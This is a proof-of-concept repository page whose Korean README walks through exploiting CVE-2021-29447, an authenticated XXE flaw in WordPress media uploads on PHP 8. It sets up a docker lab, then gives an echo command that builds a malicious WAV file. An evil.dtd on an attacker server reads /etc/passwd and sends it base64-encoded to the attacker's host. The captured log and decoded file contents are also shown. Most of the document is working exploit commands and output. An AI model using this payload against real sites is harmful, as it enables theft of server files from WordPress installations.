CVE-2021-29447 PoC — WordPress Authenticated XXE attack when installation is running PHP 8

Source

Associated Vulnerability

Description

Wordpress XXE injection 구축 자동화 및 PoC 

Readme

# 설치 및 실행 순서

#### 0. docker 실행
<pre> $docker-compose up  </pre>

#### 1. wordpress.sh 실행
wordpress를 설치하기 전 wp-config.php 파일에 설정을 진행합니다.
<pre> $docker exec -it -u root wordpress /bin/bash -c "/usr/local/bin/wordpress.sh"  </pre>

#### 2. wordpress 설치
컨테이너에 올린 wordpress 사이트에 들어가 설치를 진행합니다.

* 그대로 복사하지 마시고 code 보기를 이용해서 복사하시기 바랍니다. 
#### 3. WAV 파일 생성
미디어 서버에 올릴 wav 파일을 생성합니다.
<pre>
 $echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://attcker_ip/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
</pre>

#### 4. 공격자 서버  파일 생성
공격자 서버에 XML 문서의 구조와 법적 요소 및 속성을 정의할 DTD 파일을 생성하고 공격자 서버에 web 서버를 실행합니다.
<pre> ubuntu@ip-172-31-21-157:/var/www/html$ vim evil.dtd </pre>
<pre> &#60;!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"&#62;
  &#60;!ENTITY % init " &#60;!ENTITY &#x25; trick SYSTEM 'http://{공격자 ip}?p=%file;'&#62;" &#62; </pre>
<pre> ubuntu@ip-172-31-21-157:/var/www/html$ php -S 0.0.0.0:80 </pre>

#### 5. WAV 파일을 wordpress 미디어 서버에 올립니다.
![image](https://user-images.githubusercontent.com/43310843/120308080-a7f8f000-c30e-11eb-857b-090369a094c0.png)
![image](https://user-images.githubusercontent.com/43310843/120308307-ed1d2200-c30e-11eb-85dc-bfeb5701237b.png)

#### 6. 공격자 서버에 넘어온 값을 확인합니다.
![image](https://user-images.githubusercontent.com/43310843/120308358-fd350180-c30e-11eb-986f-db12624b6390.png)
<pre>
[Tue Jun  1 08:37:39 2021] 175.113.82.83:28498 [200]: /?p=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgo=
</pre>

<pre>
dnr6419@DESKTOP-4CJA7LD ~
☺  echo cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCl9hcHQ6eDoxMDA6NjU1MzQ6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgo= | base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
dnr6419@DESKTOP-4CJA7LD ~
☺
</pre>

# 주의 사항
#### wordpress를 가동 시킬 php 버전은 8버전이어야 합니다.
#### 위 취약점을 불법으로 악용할 시, 법적 책임을 지지 않습니다.
#### If you illegally exploit the above vulnerabilities, you will not be held liable.
#### docker 버전을 최신화 해야 합니다.

# 출처 
https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/

File Snapshot

 [4.0K]  /data/pocs/945612bcd56a98f2bad62803c922dc51595f7bec
├── [ 702]  docker-compose.yml
├── [5.6K]  README.md
└── [ 126]  wordpress.sh

0 directories, 3 files

Remarks